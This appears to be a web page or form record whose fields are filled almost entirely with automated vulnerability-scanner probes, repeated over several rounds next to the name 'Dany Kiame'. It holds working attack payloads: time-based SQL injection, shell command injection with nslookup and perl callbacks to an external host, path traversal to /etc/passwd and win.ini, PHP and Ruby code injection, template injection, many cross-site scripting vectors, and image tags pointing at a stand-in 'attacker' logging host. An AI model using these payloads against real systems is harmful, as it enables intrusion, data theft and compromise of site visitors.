Dany Kiame

555

555

555

-1 OR 2+270-270-1=0+0+0+1 --

-1 OR 2+644-644-1=0+0+0+1

-1' OR 2+217-217-1=0+0+0+1 --

-1' OR 2+356-356-1=0+0+0+1 or 'jEsEAlln'='

-1" OR 2+391-391-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

X7j3gGvy'; waitfor delay '0:0:15' --

e4OTrsyS'); waitfor delay '0:0:15' --

q8DjiP1b')); waitfor delay '0:0:15' --

-5 OR 717=(SELECT 717 FROM PG_SLEEP(15))--

-5) OR 408=(SELECT 408 FROM PG_SLEEP(15))--

-1)) OR 778=(SELECT 778 FROM PG_SLEEP(15))--

bMg1LoRV' OR 17=(SELECT 17 FROM PG_SLEEP(15))--

bPRWGXrN') OR 937=(SELECT 937 FROM PG_SLEEP(15))--

dwGXT3CT')) OR 93=(SELECT 93 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@5mcSI

555

555

response.write(9250410*9156698)

'+response.write(9250410*9156698)+'

"+response.write(9250410*9156698)+"

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo mqanpn$()\ xwzjoy\nz^xyu||a #' &echo mqanpn$()\ xwzjoy\nz^xyu||a #|" &echo mqanpn$()\ xwzjoy\nz^xyu||a #

&echo jxpeqy$()\ ztpypq\nz^xyu||a #' &echo jxpeqy$()\ ztpypq\nz^xyu||a #|" &echo jxpeqy$()\ ztpypq\nz^xyu||a #

|echo hakkhw$()\ zlysvu\nz^xyu||a #' |echo hakkhw$()\ zlysvu\nz^xyu||a #|" |echo hakkhw$()\ zlysvu\nz^xyu||a #

(nslookup hitltqdhjwtft7e5ff.bxss.me||perl -e "gethostbyname('hitltqdhjwtft7e5ff.bxss.me')")

$(nslookup hitdsibesdywpeb390.bxss.me||perl -e "gethostbyname('hitdsibesdywpeb390.bxss.me')")

&(nslookup hithbnprruost547c1.bxss.me||perl -e "gethostbyname('hithbnprruost547c1.bxss.me')")&'\"`0&(nslookup hithbnprruost547c1.bxss.me||perl -e "gethostbyname('hithbnprruost547c1.bxss.me')")&`'

|(nslookup hitesysphjlxu28867.bxss.me||perl -e "gethostbyname('hitesysphjlxu28867.bxss.me')")

`(nslookup hitmlmaehqpbj9099c.bxss.me||perl -e "gethostbyname('hitmlmaehqpbj9099c.bxss.me')")`

;(nslookup hitmhdfspfpax3a10e.bxss.me||perl -e "gethostbyname('hitmhdfspfpax3a10e.bxss.me')")|(nslookup hitmhdfspfpax3a10e.bxss.me||perl -e "gethostbyname('hitmhdfspfpax3a10e.bxss.me')")&(nslookup hitmhdfspfpax3a10e.bxss.me||perl -e "gethostbyname('hitmhdfspfpax3a10e.bxss.me')")

hyuNzD8y

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

555

../555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

${10000102+9999201}

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

555&n961356=v948408

bxss.me

555

)

!(()&&!|*|*|

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hitxh'.'sbhncyes98990.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(75).chr(100).chr(79).'

".gethostbyname(lc("hitbx"."lftxudoe26cf3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(76).chr(102).chr(70)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

HttP://bxss.me/t/xss.html?%00

";print(md5(31337));$a="

bxss.me/t/xss.html?%00

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(114).concat(89).concat(122).concat(83)+(require"socket"
Socket.gethostbyname("hitvm"+"nnvvncuu44d81.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(122).concat(78).concat(112).concat(76)+(require'socket'
Socket.gethostbyname('hityq'+'gvwtagsyfc99b.bxss.me.')[3].to_s)+'

dany-kiame

dany-kiame/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

'"

<!--

555

555'"()&%<acx><ScRiPt >GpFA(9910)</ScRiPt>

'"()&%<acx><ScRiPt >GpFA(9733)</ScRiPt>

5559245445

acu2697＜s1﹥s2ʺs3ʹuca2697

acux2132%C0%BEz1%C0%BCz2a%90bcxuca2132

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >GpFA(9560)</ScRiPt>

555<WD2VJQ>JCKPK[!+!]</WD2VJQ>

555<script>GpFA(9395)</script>

555<ScR<ScRiPt>IpT>GpFA(9936)</sCr<ScRiPt>IpT>

555<ScRiPt
>GpFA(9470)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9713></ScRiPt>

555<isindex type=image src=1 onerror=GpFA(9042)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9201'>

555<body onload=GpFA(9737)>

555<img src=//xss.bxss.me/t/dot.gif onload=GpFA(9686)>

555<img src=xyz OnErRor=GpFA(9959)>

555<img/src=">" onerror=alert(9069)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%47%70%46%41%289335%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\GpFA(9088)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;GpFA(9860)&lt;/sCripT&gt;

1dcskC8MiO

%F6<img acu onmouseover=GpFA(95011) //%F6>

555<input autofocus onfocus=GpFA(9186)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(GpFA(9740))}

555<% contenteditable onresize=GpFA(9277)>

555f7Dxl
<ScRiPt >GpFA(9514)</ScRiPt>

555<WMGX4D>ZYNBO[!+!]</WMGX4D>

555<ifRAme sRc=9052.com></IfRamE>

555<jPE5Yv x=9792>

555<img sRc='http://attacker-9189/log.php?

555<aHNKbc<

555

555

555

555

555'"()&%<acx><ScRiPt >HkuW(9841)</ScRiPt>

555

'"()&%<acx><ScRiPt >HkuW(9115)</ScRiPt>

555

5559428893

555

555

555

-1 OR 2+22-22-1=0+0+0+1 --

-1 OR 2+669-669-1=0+0+0+1

-1' OR 2+904-904-1=0+0+0+1 --

-1' OR 2+855-855-1=0+0+0+1 or 'KXbEqTsm'='

-1" OR 2+305-305-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

/../../../../../../../../../../windows/system32/BITSADMIN.exe

response.write(9241858*9299567)

'+response.write(9241858*9299567)+'

"+response.write(9241858*9299567)+"

echo mgfqfj$()\ goehki\nz^xyu||a #' &echo mgfqfj$()\ goehki\nz^xyu||a #|" &echo mgfqfj$()\ goehki\nz^xyu||a #

&echo wzctci$()\ jizkca\nz^xyu||a #' &echo wzctci$()\ jizkca\nz^xyu||a #|" &echo wzctci$()\ jizkca\nz^xyu||a #

|echo zjcqbh$()\ kfrwaw\nz^xyu||a #' |echo zjcqbh$()\ kfrwaw\nz^xyu||a #|" |echo zjcqbh$()\ kfrwaw\nz^xyu||a #

J2ZGbojE

-1); waitfor delay '0:0:15' --

(nslookup hitpchrqaojwj9edc0.bxss.me||perl -e "gethostbyname('hitpchrqaojwj9edc0.bxss.me')")

$(nslookup hitoswnrbjkafa6253.bxss.me||perl -e "gethostbyname('hitoswnrbjkafa6253.bxss.me')")

../../../../../../../../../../../../../../etc/passwd

&(nslookup hitcdpptwntvv69df4.bxss.me||perl -e "gethostbyname('hitcdpptwntvv69df4.bxss.me')")&'\"`0&(nslookup hitcdpptwntvv69df4.bxss.me||perl -e "gethostbyname('hitcdpptwntvv69df4.bxss.me')")&`'

../../../../../../../../../../../../../../windows/win.ini

|(nslookup hitswpsmiyfax2e49f.bxss.me||perl -e "gethostbyname('hitswpsmiyfax2e49f.bxss.me')")

555

`(nslookup hiteslzmvlqqf015ab.bxss.me||perl -e "gethostbyname('hiteslzmvlqqf015ab.bxss.me')")`

../555

;(nslookup hitwkjonzndtt7247c.bxss.me||perl -e "gethostbyname('hitwkjonzndtt7247c.bxss.me')")|(nslookup hitwkjonzndtt7247c.bxss.me||perl -e "gethostbyname('hitwkjonzndtt7247c.bxss.me')")&(nslookup hitwkjonzndtt7247c.bxss.me||perl -e "gethostbyname('hitwkjonzndtt7247c.bxss.me')")

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

${9999770+10000065}

-1)); waitfor delay '0:0:15' --

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555&n947343=v996811

)

!(()&&!|*|*|

Http://bxss.me/t/fit.txt

^(#$!@#$)(()))******

'"()

555

'.gethostbyname(lc('hitag'.'ptcvsaoe4c42e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(88).chr(115).chr(85).'

http://bxss.me/t/fit.txt?.jpg

".gethostbyname(lc("hitnv"."gtfofdrxf946e.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(86).chr(105).chr(80)."

bxss.me

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

HttP://bxss.me/t/xss.html?%00

";print(md5(31337));$a="

"+"A".concat(70-3).concat(22*4).concat(111).concat(87).concat(112).concat(74)+(require"socket"
Socket.gethostbyname("hithy"+"dhjuztlz62a4b.bxss.me.")[3].to_s)+"

dany-kiame

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

bxss.me/t/xss.html?%00

${@print(md5(31337))}

'+'A'.concat(70-3).concat(22*4).concat(118).concat(78).concat(97).concat(80)+(require'socket'
Socket.gethostbyname('hitnu'+'njcojyuf4bb08.bxss.me.')[3].to_s)+'

${@print(md5(31337))}\

dany-kiame/.

'.print(md5(31337)).'

/xfs.bxss.me

'"

1 waitfor delay '0:0:15' --

555'"()&%<acx><ScRiPt >U3Ma(9057)</ScRiPt>

<!--

'"()&%<acx><ScRiPt >U3Ma(9753)</ScRiPt>

5559287841

acu7168＜s1﹥s2ʺs3ʹuca7168

acux7480%C0%BEz1%C0%BCz2a%90bcxuca7480

Vuo4oyYI'; waitfor delay '0:0:15' --

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

aynSCwZj'); waitfor delay '0:0:15' --

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >U3Ma(9301)</ScRiPt>

555<WKZFBT>KFQBJ[!+!]</WKZFBT>

555<script>U3Ma(9056)</script>

555<ScR<ScRiPt>IpT>U3Ma(9451)</sCr<ScRiPt>IpT>

uxdWjigx')); waitfor delay '0:0:15' --

555<ScRiPt
>U3Ma(9693)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9152></ScRiPt>

555<isindex type=image src=1 onerror=U3Ma(9087)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9183'>

555<body onload=U3Ma(9645)>

-5 OR 458=(SELECT 458 FROM PG_SLEEP(15))--

555<img src=//xss.bxss.me/t/dot.gif onload=U3Ma(9662)>

555<img src=xyz OnErRor=U3Ma(9586)>

555<img/src=">" onerror=alert(9555)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%33%4D%61%289990%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\U3Ma(9371)\u003C/sCripT\u003E

-5) OR 751=(SELECT 751 FROM PG_SLEEP(15))--

555&lt;ScRiPt&gt;U3Ma(9072)&lt;/sCripT&gt;

%F6<img acu onmouseover=U3Ma(91461) //%F6>

555<input autofocus onfocus=U3Ma(9746)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(U3Ma(9499))}

-1)) OR 582=(SELECT 582 FROM PG_SLEEP(15))--

555<% contenteditable onresize=U3Ma(9947)>

5555fVFA
<ScRiPt >U3Ma(9766)</ScRiPt>

555<WDM6XC>LZGEF[!+!]</WDM6XC>

555<ifRAme sRc=9142.com></IfRamE>

555<bEN5qy x=9145>

555<img sRc='http://attacker-9526/log.php?

RkUQMl1B' OR 694=(SELECT 694 FROM PG_SLEEP(15))--

555<GPJAoJ<

555

555

sHzM2H4j') OR 70=(SELECT 70 FROM PG_SLEEP(15))--

YACcvWnp')) OR 757=(SELECT 757 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@UkThd

555

555

555

555

555'"()&%<acx><ScRiPt >80am(9330)</ScRiPt>

555

'"()&%<acx><ScRiPt >80am(9335)</ScRiPt>

555

response.write(9722557*9304297)

555

5559528464

'+response.write(9722557*9304297)+'

"+response.write(9722557*9304297)+"

555

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo bmftpw$()\ sifpjw\nz^xyu||a #' &echo bmftpw$()\ sifpjw\nz^xyu||a #|" &echo bmftpw$()\ sifpjw\nz^xyu||a #

&echo dhquhs$()\ axalsl\nz^xyu||a #' &echo dhquhs$()\ axalsl\nz^xyu||a #|" &echo dhquhs$()\ axalsl\nz^xyu||a #

RIGLmAjC

|echo lkjmuu$()\ cwfsmq\nz^xyu||a #' |echo lkjmuu$()\ cwfsmq\nz^xyu||a #|" |echo lkjmuu$()\ cwfsmq\nz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

(nslookup hitjpppowyuzzb7ef1.bxss.me||perl -e "gethostbyname('hitjpppowyuzzb7ef1.bxss.me')")

../../../../../../../../../../../../../../windows/win.ini

$(nslookup hithbzymgveunb2fea.bxss.me||perl -e "gethostbyname('hithbzymgveunb2fea.bxss.me')")

555<esi:include src="http://bxss.me/rpb.png"/>

555

&(nslookup hitzrmbqniomje6589.bxss.me||perl -e "gethostbyname('hitzrmbqniomje6589.bxss.me')")&'\"`0&(nslookup hitzrmbqniomje6589.bxss.me||perl -e "gethostbyname('hitzrmbqniomje6589.bxss.me')")&`'

555

../555

|(nslookup hitirzurzzupf52fc9.bxss.me||perl -e "gethostbyname('hitirzurzzupf52fc9.bxss.me')")

${9999066+9999102}

`(nslookup hithgiytrbdlle325b.bxss.me||perl -e "gethostbyname('hithgiytrbdlle325b.bxss.me')")`

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

;(nslookup hitpbawilksxc46e87.bxss.me||perl -e "gethostbyname('hitpbawilksxc46e87.bxss.me')")|(nslookup hitpbawilksxc46e87.bxss.me||perl -e "gethostbyname('hitpbawilksxc46e87.bxss.me')")&(nslookup hitpbawilksxc46e87.bxss.me||perl -e "gethostbyname('hitpbawilksxc46e87.bxss.me')")

-1 OR 2+433-433-1=0+0+0+1 --

Http://bxss.me/t/fit.txt

-1 OR 2+62-62-1=0+0+0+1

555&n925588=v916763

http://bxss.me/t/fit.txt?.jpg

-1' OR 2+444-444-1=0+0+0+1 --

-1' OR 2+754-754-1=0+0+0+1 or 'HN92yLia'='

555

bxss.me

)

555

-1" OR 2+249-249-1=0+0+0+1 --

!(()&&!|*|*|

^(#$!@#$)(()))******

'.gethostbyname(lc('hitfh'.'vwmjfqqd041de.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(65).chr(121).chr(81).'

".gethostbyname(lc("hittw"."aqimizbpd0098.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(76).chr(112).chr(88)."

'"()

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(121).concat(71).concat(102).concat(86)+(require"socket"
Socket.gethostbyname("hitiq"+"aeafjjoaf5c59.bxss.me.")[3].to_s)+"

dany-kiame

${@print(md5(31337))}\

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(109).concat(81).concat(107).concat(77)+(require'socket'
Socket.gethostbyname('hitjo'+'asixfqaf6f502.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

dany-kiame/.

if(now()=sysdate(),sleep(15),0)

/xfs.bxss.me

'"

555'"()&%<acx><ScRiPt >CqXq(9515)</ScRiPt>

<!--

'"()&%<acx><ScRiPt >CqXq(9032)</ScRiPt>

5559796722

acu2150＜s1﹥s2ʺs3ʹuca2150

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

acux8176%C0%BEz1%C0%BCz2a%90bcxuca8176

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >CqXq(9650)</ScRiPt>

555<WTZB25>FOBBC[!+!]</WTZB25>

555<script>CqXq(9925)</script>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555<ScR<ScRiPt>IpT>CqXq(9211)</sCr<ScRiPt>IpT>

555<ScRiPt
>CqXq(9158)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9805></ScRiPt>

-1; waitfor delay '0:0:15' --

555<isindex type=image src=1 onerror=CqXq(9142)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9224'>

555<body onload=CqXq(9364)>

555<img src=//xss.bxss.me/t/dot.gif onload=CqXq(9018)>

555<img src=xyz OnErRor=CqXq(9985)>

-1); waitfor delay '0:0:15' --

555<img/src=">" onerror=alert(9922)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%71%58%71%289677%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\CqXq(9957)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;CqXq(9976)&lt;/sCripT&gt;

%F6<img acu onmouseover=CqXq(94161) //%F6>

-1)); waitfor delay '0:0:15' --

555<input autofocus onfocus=CqXq(9339)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(CqXq(9220))}

1 waitfor delay '0:0:15' --

555<% contenteditable onresize=CqXq(9231)>

5559glgv
<ScRiPt >CqXq(9342)</ScRiPt>

555<WR4X4H>6AHKJ[!+!]</WR4X4H>

555<ifRAme sRc=9606.com></IfRamE>

555<4XLiBR x=9506>

hBd5c2zM'; waitfor delay '0:0:15' --

555<img sRc='http://attacker-9094/log.php?

555<fRZtwL<

555

555

5MSTEorV'); waitfor delay '0:0:15' --

gCk44aDo')); waitfor delay '0:0:15' --

-5 OR 128=(SELECT 128 FROM PG_SLEEP(15))--

-5) OR 677=(SELECT 677 FROM PG_SLEEP(15))--

555

555

555

555'"()&%<acx><ScRiPt >kJh1(9793)</ScRiPt>

'"()&%<acx><ScRiPt >kJh1(9572)</ScRiPt>

5559071307

acu8992＜s1﹥s2ʺs3ʹuca8992

acux7493%C0%BEz1%C0%BCz2a%90bcxuca7493

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >kJh1(9480)</ScRiPt>

555<WHW0DD>N7HKR[!+!]</WHW0DD>

555<script>kJh1(9613)</script>

555<ScR<ScRiPt>IpT>kJh1(9905)</sCr<ScRiPt>IpT>

555<ScRiPt
>kJh1(9616)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9769></ScRiPt>

555<isindex type=image src=1 onerror=kJh1(9241)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9091'>

555<body onload=kJh1(9075)>

555<img src=//xss.bxss.me/t/dot.gif onload=kJh1(9900)>

555<img src=xyz OnErRor=kJh1(9338)>

555<img/src=">" onerror=alert(9391)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6B%4A%68%31%289115%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\kJh1(9950)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;kJh1(9874)&lt;/sCripT&gt;

%F6<img acu onmouseover=kJh1(99231) //%F6>

555<input autofocus onfocus=kJh1(9200)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(kJh1(9923))}

555<% contenteditable onresize=kJh1(9153)>

555X83fD
<ScRiPt >kJh1(9387)</ScRiPt>

555<WJUEBV>ZEDQH[!+!]</WJUEBV>

555<ifRAme sRc=9963.com></IfRamE>

555<fHfzOV x=9184>

555<img sRc='http://attacker-9036/log.php?

555<CUMOqN<

555'"()&%<acx><ScRiPt >40ZQ(9878)</ScRiPt>

'"()&%<acx><ScRiPt >40ZQ(9696)</ScRiPt>

5559140351

acu7597＜s1﹥s2ʺs3ʹuca7597

acux9587%C0%BEz1%C0%BCz2a%90bcxuca9587

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >40ZQ(9864)</ScRiPt>

555<WKZF6O>6IFAW[!+!]</WKZF6O>

555<script>40ZQ(9177)</script>

555<ScR<ScRiPt>IpT>40ZQ(9190)</sCr<ScRiPt>IpT>

555<ScRiPt
>40ZQ(9021)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9503></ScRiPt>

555<isindex type=image src=1 onerror=40ZQ(9457)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9324'>

555<body onload=40ZQ(9262)>

555<img src=//xss.bxss.me/t/dot.gif onload=40ZQ(9782)>

555<img src=xyz OnErRor=40ZQ(9037)>

555<img/src=">" onerror=alert(9703)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%34%30%5A%51%289937%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\40ZQ(9453)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;40ZQ(9392)&lt;/sCripT&gt;

%F6<img acu onmouseover=40ZQ(93131) //%F6>

555<input autofocus onfocus=40ZQ(9842)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(40ZQ(9982))}

555<% contenteditable onresize=40ZQ(9751)>

555wjF8D
<ScRiPt >40ZQ(9748)</ScRiPt>

555<WLPILE>BA1UP[!+!]</WLPILE>

555<ifRAme sRc=9695.com></IfRamE>

555<0ptMzF x=9247>

555<img sRc='http://attacker-9566/log.php?

555<p6VJvZ<